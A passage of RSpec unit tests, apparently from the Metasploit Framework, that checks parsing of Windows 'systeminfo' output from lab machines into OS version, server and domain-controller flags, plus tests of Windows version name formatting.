Page File Location(s): D:\pagefile.sys
Domain: WORKGROUP
Logon Server: \\\\twenty22
Hotfix(s): 4 Hotfix(s) Installed.
[01]: KB5020619
[02]: KB5012170
[03]: KB5019081
[04]: KB5017399
Network Card(s): 1 NIC(s) Installed.
[01]: Microsoft Hyper-V Network Adapter
Connection Name: Ethernet
DHCP Enabled: Yes
DHCP Server: 168.63.129.16
IP address(es)
[01]: 10.1.0.4
[02]: fe80::9232:386b:229f:402f
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.'
end
let(:server2012_systeminfo) do
'Host Name: WIN2012DC
OS Name: Microsoft Windows Server 2012 Standard
OS Version: 6.2.9200 N/A Build 9200
OS Manufacturer: Microsoft Corporation
OS Configuration: Primary Domain Controller
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00184-30000-00001-AA641
Original Install Date: 8/09/2021, 3:22:39 AM
System Boot Time: 27/10/2022, 1:09:24 PM
System Manufacturer: QEMU
System Model: Standard PC (i440FX + PIIX, 1996)
System Type: x64-based PC
Processor(s): 2 Processor(s) Installed.
[01]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz
[02]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz
BIOS Version: SeaBIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org, 1/04/2014
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-au;English (Australia)
Input Locale: en-us;English (United States)
Time Zone: (UTC+10:00) Canberra, Melbourne, Sydney
Total Physical Memory: 5,095 MB
Available Physical Memory: 2,811 MB
Virtual Memory: Max Size: 5,927 MB
Virtual Memory: Available: 3,460 MB
Virtual Memory: In Use: 2,467 MB
Page File Location(s): C:\pagefile.sys
Domain: pod8.lan
Logon Server: \\\\WIN2012DC
Hotfix(s): 1 Hotfix(s) Installed.
[01]: KB2999226
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
Connection Name: Ethernet
DHCP Enabled: Yes
DHCP Server: 192.168.20.1
IP address(es)
[01]: 192.168.20.210
[02]: fe80::3d4f:28f8:dff2:5b29
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.'
end
let(:server2008r2_sp1_systeminfo) do
'Host Name: WIN-QL13MCNSIB2
OS Name: Microsoft Windows Server 2008 R2 Standard
OS Version: 6.1.7601 Service Pack 1 Build 7601
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00477-179-0000007-84039
Original Install Date: 12/6/2022, 4:07:05 AM
System Boot Time: 12/5/2022, 8:23:53 PM
System Manufacturer: QEMU
System Model: Standard PC (i440FX + PIIX, 1996)
System Type: x64-based PC
Processor(s): 2 Processor(s) Installed.
[01]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz
[02]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz
BIOS Version: SeaBIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org, 4/1/2014
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory: 2,047 MB
Available Physical Memory: 1,310 MB
Virtual Memory: Max Size: 4,095 MB
Virtual Memory: Available: 3,197 MB
Virtual Memory: In Use: 898 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: \\\\WIN-QL13MCNSIB2
Hotfix(s): 1 Hotfix(s) Installed.
[01]: KB976902
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
Connection Name: Local Area Connection
DHCP Enabled: Yes
DHCP Server: 192.168.20.1
IP address(es)
[01]: 192.168.20.130
[02]: fe80::1469:cb66:dc1d:78bc'
end
context "#systeminfo_parsed" do
it "parses systeminfo on XP" do
allow(subject).to receive(:cmd_exec) { xp_sp2_systeminfo }
allow(subject).to receive_message_chain('session.type').and_return('shell')
version = subject.get_version_info
expect(version.build_number).to eq(Msf::WindowsVersion::XP_SP2)
expect(version.windows_server?).to eq(false)
expect(version.domain_controller?).to eq(false)
end
it "parses systeminfo on 2003" do
allow(subject).to receive(:cmd_exec) { server2003_sp1_systeminfo }
allow(subject).to receive_message_chain('session.type').and_return('shell')
version = subject.get_version_info
expect(version.build_number).to eq(Msf::WindowsVersion::Server2003_SP1)
expect(version.windows_server?).to eq(true)
expect(version.domain_controller?).to eq(false)
end
it "parses systeminfo on Win10" do
allow(subject).to receive(:cmd_exec) { win10_systeminfo }
allow(subject).to receive_message_chain('session.type').and_return('shell')
version = subject.get_version_info
expect(version.build_number).to eq(Msf::WindowsVersion::Win10_22H2)
expect(version.windows_server?).to eq(false)
expect(version.domain_controller?).to eq(false)
end
it "parses systeminfo on 2022" do
allow(subject).to receive(:cmd_exec) { server2022_systeminfo }
allow(subject).to receive_message_chain('session.type').and_return('shell')
version = subject.get_version_info
expect(version.build_number).to eq(Msf::WindowsVersion::Server2022)
expect(version.windows_server?).to eq(true)
expect(version.domain_controller?).to eq(false)
end
it "parses systeminfo on 2012" do
allow(subject).to receive(:cmd_exec) { server2012_systeminfo }
allow(subject).to receive_message_chain('session.type').and_return('shell')
version = subject.get_version_info
expect(version.build_number).to eq(Msf::WindowsVersion::Server2012)
expect(version.windows_server?).to eq(true)
expect(version.domain_controller?).to eq(true)
end
it "parses systeminfo on 2008R2" do
allow(subject).to receive(:cmd_exec) { server2008r2_sp1_systeminfo }
allow(subject).to receive_message_chain('session.type').and_return('shell')
version = subject.get_version_info
expect(version.build_number).to eq(Msf::WindowsVersion::Server2008_R2_SP1)
expect(version.windows_server?).to eq(true)
expect(version.domain_controller?).to eq(false)
end
it "parses systeminfo on 2008" do
allow(subject).to receive(:cmd_exec) { server2008_sp2_systeminfo }
allow(subject).to receive_message_chain('session.type').and_return('shell')
version = subject.get_version_info
expect(version.build_number).to eq(Msf::WindowsVersion::Server2008_SP2)
expect(version.windows_server?).to eq(true)
expect(version.domain_controller?).to eq(true)
end
end
end

View File

@ -0,0 +1,29 @@
require 'spec_helper'
RSpec.describe Msf::WindowsVersion do
it 'Recognisises a major version' do
subject = described_class.new(6, 0, 6000, 0, Msf::WindowsVersion::VER_NT_WORKSTATION)
expect(subject.to_s).to eq('Windows Vista')
end
it 'Recognisises Windows Server' do
subject = described_class.new(6, 0, 6000, 0, Msf::WindowsVersion::VER_NT_SERVER)
expect(subject.to_s).to eq('Windows Server 2008')
end
it 'Adds build suffix to Windows 10' do
subject = described_class.new(10,0,18362,0,Msf::WindowsVersion::VER_NT_WORKSTATION)
expect(subject.to_s).to eq('Windows 10+ Build 18362')
end
it 'Adds service pack suffix' do
subject = described_class.new(5,1,2600,2,Msf::WindowsVersion::VER_NT_WORKSTATION)
expect(subject.to_s).to eq('Windows XP Service Pack 2')
end
it 'Outputs unknown version' do
subject = described_class.new(1,2,3000,0,Msf::WindowsVersion::VER_NT_WORKSTATION)
expect(subject.to_s).to eq('Unknown Windows version: 1.2.3000')
end
end